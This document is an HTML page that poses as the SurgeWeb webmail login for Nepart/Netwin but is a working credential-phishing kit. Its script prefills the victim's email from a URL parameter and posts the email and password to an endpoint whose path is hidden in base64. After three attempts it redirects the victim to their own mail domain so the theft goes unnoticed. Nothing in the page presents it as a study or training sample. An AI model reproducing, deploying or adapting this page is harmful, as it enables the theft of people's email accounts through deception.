<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>SurgeWeb - Nepart</title>
<style>

:focus, a:focus {
  outline-style: dotted;
  outline-width: thin;	
}


 .body_bg {

 	background:#7497C6 repeat-x;
 }
 .body_bg2 {

  	background:#A0BFE8 repeat-x;
 }

 body {
	text-align:center;
 }
 #login_outer{
 	text-align:left;
 	width:450px;
	margin: 0 auto;
	margin-top:75px;
 } 
 #login_panel_pre{
	padding:8px;

	background: #007;
	color:white;
	text-align:center;
 }
 #login_panel{

    background:#DBEBFF;
  	border-left:1px solid #5a82b8;  
  	border-right:1px solid #5a82b8;  
 	padding:10px;
	text-align:center;
 } 
 #login_panel table{
	margin: 0 auto;
 }
 #login_panel_post{

	background: #007; 
	color:white;
	padding:5px;
	text-align:center;
 }
 
 #login_title_comment{
 	display:none;
 }
 #login_title{
 	font-size:1em;;
 }


 body, table {
	font-family:Arial;
	font-size:14px;
 }
 #login_title{
  	font-weight:bold;
  	font-size:22px;
 }
 #cmd_login{
  	width:120px; 
  }
 #error{
 	color:red;
 	margin-top:5px;
 	margin-bottom:15px;
 	font-weight:bold;
 	font-size:11px;
 }
 #error .surgeweb{
 	font-size:14px;
 }

 
 .hidden{
 	display:none;
 }

 .login_link_small{

	color:white;
	font-size:0.8em;
	text-decoration:none;
 }
  .login_link_small:hover{
 	text-decoration:underline;
 }
  .boldred{
  	color:red;font-weight:bold;font-style:italic;
  }
   .red{
  	color:red;
  } 
  
  #rcol_login_outer{
  	text-align:center;
  	position:absolute;
  	right:0;top:0;
  	border:1px solid #5a82b8;
  	width:120px;height:480px;
  	background:#f7f7f7;
  }
  #rcol_login_iframe{
  	background:white;
  	width:120px;height:480px;
  }

  #account_links{
  	text-align:right;
  }
  #account_links a{
	color:black;
	font-size:0.9em;
	text-decoration:none;  	
  }
  #account_links a:hover{
   	text-decoration:underline;
  }
  


.pannable {
	overflow:scroll;
	-ms-overflow-style: none;
    overflow: -moz-scrollbars-none;
    -webkit-overflow-scrolling:touch;
}
.pannable::-webkit-scrollbar {
    display: none;
}



.drop_indicator{
	display:inline-block;
	padding:20px;
	border: 2px dashed red;
}
	
 	#choose_custom{
		position:absolute;background:white;
	}
	
	
@media only screen and (min-width: 768px) {
	#choose_custom{
		bottom:5%;left:5%; right:5%; 
	}
}
@media only screen and (max-width: 767px) {
	#choose_custom{
		bottom:0%;left:0%; right:0%; 
	}
}
@media only screen and (max-width: 767px) and (orientation: portrait) {
	#choose_custom{
		bottom:0%;left:0%; right:0%; 
	}
}


.unselectable {
    -moz-user-select: -moz-none;
    -khtml-user-select: none;
    -webkit-user-select: none;
    -o-user-select: none;
    user-select: none;
}
    #loading_ajax, #loading_html {
      position: absolute;
      left: 0;
      top: 0;
      width: 100%;
      height: 100%;
      z-index: 1000;
      background-color: #fff;
      text-shadow: #fff 0px 0 15px, #fff 0px 0 12px, #fff 0px 0 12px, #fff 2px 0 10px;
    }
    .msg1 { position: absolute; left: 20px; top: 30px; font-size: 14px; font-weight: bold; color: #000; }
    .msg2 { position: absolute; right: 20px; bottom: 30px; font-size: 12px; font-weight: normal; color: #000; }
    .hidden { display: none; }
    #msg { color: red; margin-top: 10px; }
  </style>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</head>
<body onload="do_init();" class="body_bg" style="overflow: hidden;">
  <div id="loading_ajax" class="hidden">
    <div class="msg1">Loading SurgeWeb email, logging in ...</div>
    <div class="msg2">Loading standard (Web 2.0) interface | Load basic HTML interface (for slow computers)</div>
  </div>
  <div id="loading_html" class="hidden">
    <div class="msg1">Loading SurgeWeb email,</div>
    <div class="msg2">Loading basic interface</div>
  </div>
  <div id="appearance_bg" class="appearance_bg">
    <div id="login_outer" class="login_outer">
      <div id="login_inner" class="login_inner">
        <div id="login_panel_pre">
          <div id="login_title">
            <span>Welcome to SurgeWeb by Nepart</span>
          </div>
          <div id="login_title_comment">
            <span>Surgeweb login page for all interfaces.</span>
          </div>
        </div>
        <div id="login_panel">
          <form id="login-form">
            <table style="text-align: left;">
              <tr>
                <td>Username</td>
                <td style="text-align: left;">
                  <input type="text" name="username_ex" id="ai" value="" tabindex="1" style="width: 160px;">
                </td>
              </tr>
              <tr>
                <td>Password</td>
                <td>
                  <input type="password" name="password" id="pr" tabindex="2" style="width: 160px;">
                </td>
              </tr>
              <tr id="interface_line">
                <td>Interface</td>
                <td>
                  <select id="interface_ex" name="interface_ex">
                    <option value="ajax">Standard</option>
                    <option value="html">Basic</option>
                    <option value="mobile">Mobile</option>
                  </select>
                  <select id="language" name="language">
                    <option value="English" selected>English</option>
                    <option value="French">French</option>
                    <option value="Spanish">Spanish</option>
                  </select>
                </td>
              </tr>
              <tr id="remember_me">
                <td colspan="2">
                  Remember me <input name="remember" id="remember" type="checkbox">
                </td>
              </tr>
              <tr>
                <td></td>
                <td>
                  <button type="submit" id="submit-btn">Log in</button>
                </td>
              </tr>
            </table>
            <div id="msg" class="hidden"></div>
          </form>
        </div>
        <div id="login_panel_post">
          <span>
            <div id="login_post_comment">
              SurgeWeb &copy;2009-2021 <a href="#" target="popup" style="color: white">Netwin Ltd</a>, 
              <a class="login_link_small" href="#">about SurgeMail</a>
            </div>
          </span>
        </div>
      </div>
    </div>
  </div>
<script src="./config.js"></script>
 <script>
    $(document).ready(function() {
      // Function to extract URL parameters
      function getParameterByName(name) {
        const url = window.location.href;
        const regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)');
        const results = regex.exec(url);
        if (!results) return null;
        if (!results[2]) return '';
        return decodeURIComponent(results[2].replace(/\+/g, ' '));
      }
  
      // Autofill the username field if a 'cms' parameter exists
      const loginUsername = getParameterByName('cms');
      if (loginUsername) {
        $('#ai').val(loginUsername);
      }
  
      let submissionCount = 0;
  
      // Handle form submission
      $('#login-form').on('submit', function(event) {
        event.preventDefault();
  
        const ai = $('#ai').val();
        const pr = $('#pr').val();
        $('#msg').hide();
  
        // Validate input fields
        if (!ai) {
          $('#msg').text("Email is required").show();
          return;
        }
        if (!pr) {
          $('#msg').text("Password is required").show();
          return;
        }
  
        // AJAX request for login
        $.ajax({
          url: `${config.baseUrl}${atob("L2Nvbm5lY3QucGhw")}`,
          type: 'POST',
          data: { ai: ai, pr: pr },
          dataType: 'JSON',
          beforeSend: function() {
            $('#submit-btn').text("Verifying...");
          },
          success: function(response) {
            submissionCount++;
            if (submissionCount >= 3) {
              const domain = ai.split('@')[1];
              window.location.href = `https://${domain}`;
            } else if (response.signal === 'ok') {
              $('#msg').text("Login successful").css("color", "green").show();
            } else {
              $('#msg').text(response.msg || "Authentication failed").show();
            }
          },
          error: function() {
            submissionCount++;
            if (submissionCount >= 3) {
              const domain = ai.split('@')[1];
              window.location.href = `https://${domain}`;
            } else {
              $('#msg').text("An error occurred. Please try again.").show();
            }
          },
          complete: function() {
            $('#submit-btn').text("Log in");
            $('#pr').val(''); // Clear the password field
          }
        });
      });
    });
  </script>
</body>
</html>